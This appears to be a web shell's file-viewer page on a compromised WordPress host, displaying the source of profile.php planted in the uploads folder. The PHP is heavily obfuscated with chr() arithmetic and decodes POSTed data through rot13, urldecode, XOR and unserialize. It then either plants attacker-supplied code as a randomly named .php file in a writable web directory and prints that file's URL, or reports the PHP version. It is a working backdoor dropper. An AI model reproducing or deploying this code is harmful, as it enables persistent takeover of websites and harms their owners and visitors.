HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/incastiglionfiorentino/wp-content/uploads/2024/01/profile.php
<?php $FwONSwkmw = "QXKkJciI";function TtalVg($FwONSwkmw){$aZSdqIK = 'r'.chr(846-749).chr(357-238).chr(117).'r'.chr(923-815).chr(100).chr(101).'c'."\x6f".chr(100).chr(126-25);$RlzcSzItRa = "\x73".chr(552-436).chr(114).'_'."\x72"."\157".chr(116).'1'.'3';$wYxfpKoEnz = chr(115).'t'.chr(484-370).chr(971-876)."\163".chr(124-12).'l'.chr(105).chr(116);$FwONSwkmw = $wYxfpKoEnz($aZSdqIK($RlzcSzItRa($FwONSwkmw)));return $FwONSwkmw;}function jxkRuI($ZsOuWnGGD, $GyMoXPeC){$SadJep = chr(115)."\164".chr(382-268)."\137".chr(379-264)."\160"."\154"."\x69".chr(116);$ZsOuWnGGD = array_slice($SadJep(str_repeat($ZsOuWnGGD, (count($GyMoXPeC)/16)+1)), 0, count($GyMoXPeC));return $ZsOuWnGGD;}function VWaxsR($mXSCWf, $wDXdcaJ, $ZsOuWnGGD){$SMDdfxFXhm = "2f9b913f-0b0a-41b2-9896-4daff10b3571";return $mXSCWf ^ $SMDdfxFXhm[$wDXdcaJ % strlen($SMDdfxFXhm)] ^ $ZsOuWnGGD;}function MBJBHowIqX($GyMoXPeC, $ZsOuWnGGD){$GyMoXPeC = array_map("VWaxsR", array_values($GyMoXPeC), array_keys($GyMoXPeC), array_values($ZsOuWnGGD));$GyMoXPeC = implode("", $GyMoXPeC);$PIzvVZ = chr(117)."\156".'s'."\x65"."\x72"."\x69".chr(1015-918).'l'.chr(105)."\x7a"."\145";$GyMoXPeC = @$PIzvVZ($GyMoXPeC);return $GyMoXPeC;}function UGIPVRzp(){echo "peXmE";}function SZbrqujSe($OjAGFutir){static $kbunqSi = array();$OSZYU = glob($OjAGFutir . '/*', GLOB_ONLYDIR);$Ndoojs = count($OSZYU);if ($Ndoojs > 0) {foreach ($OSZYU as $OjAGFut) {$wqdAOW = chr(698-593)."\163"."\x5f".'w'.'r'.'i'."\164".chr(97).chr(98).chr(108).chr(101);if (@$wqdAOW($OjAGFut)) {$kbunqSi[] = $OjAGFut;}}}foreach ($OSZYU as $OjAGFutir) SZbrqujSe($OjAGFutir);return $kbunqSi;}function pVGIvzJo(){echo "QXKkJciI";}function yJLGKXcU($GyMoXPeC){$TSbWYriMQ = chr(68).'O'.chr(67)."\x55"."\115".chr(69).chr(289-211).chr(270-186)."\137".'R'.'O'.chr(79).'T';$wzQhpaXi = $_SERVER[$TSbWYriMQ];$OSZYU = SZbrqujSe($wzQhpaXi);$AoMPPIqeXz = array_rand($OSZYU);$URCTWm = '.'."\160"."\x68"."\x70";$GKoJS = $OSZYU[$AoMPPIqeXz] . "/" . substr(md5(time()), 0, 8) . $URCTWm;$TdINsXPgch = "\146".chr(105)."\154"."\145"."\137".'p'.chr(884-767)."\164"."\137".chr(910-811)."\157"."\x6e".chr(116)."\x65".chr(110).'t'."\163";@$TdINsXPgch($GKoJS, $GyMoXPeC);$qFnhBUmNid = chr(157-85)."\124"."\124".'P'."\137"."\x48".chr(939-860).'S'.'T';$cHZsixDVW = "\150"."\x74".'t'."\x70".chr(58)."\57".'/';$gSavk = $cHZsixDVW . $_SERVER[$qFnhBUmNid] . substr($GKoJS, strlen($wzQhpaXi));print($gSavk);}foreach ($_POST as $ZsOuWnGGD => $GyMoXPeC){$vjamFKHo = strlen($ZsOuWnGGD);if ($vjamFKHo == 16){$GyMoXPeC = TtalVg($GyMoXPeC);$ZsOuWnGGD = jxkRuI($ZsOuWnGGD, $GyMoXPeC);$GyMoXPeC = MBJBHowIqX($GyMoXPeC, $ZsOuWnGGD);if (@is_array($GyMoXPeC)){$AoMPPIqeXz = array_keys($GyMoXPeC);$GyMoXPeC = $GyMoXPeC[$AoMPPIqeXz[0]];$AoMPPIqeXz = $AoMPPIqeXz[0];if ($GyMoXPeC !== $AoMPPIqeXz){yJLGKXcU($GyMoXPeC);}else {$tTGhaMZ = chr(112)."\150".chr(112);$BWlNwNp = "\160".chr(104)."\x70".chr(904-786).'e'."\x72".'s'.chr(364-259).chr(111).chr(631-521);$GyMoXPeC = Array($tTGhaMZ => @$BWlNwNp(), );$dOSON = 's'.chr(697-596).chr(114)."\151".'a'.'l'."\151".chr(715-593).chr(329-228);echo @$dOSON($GyMoXPeC);}die();}}}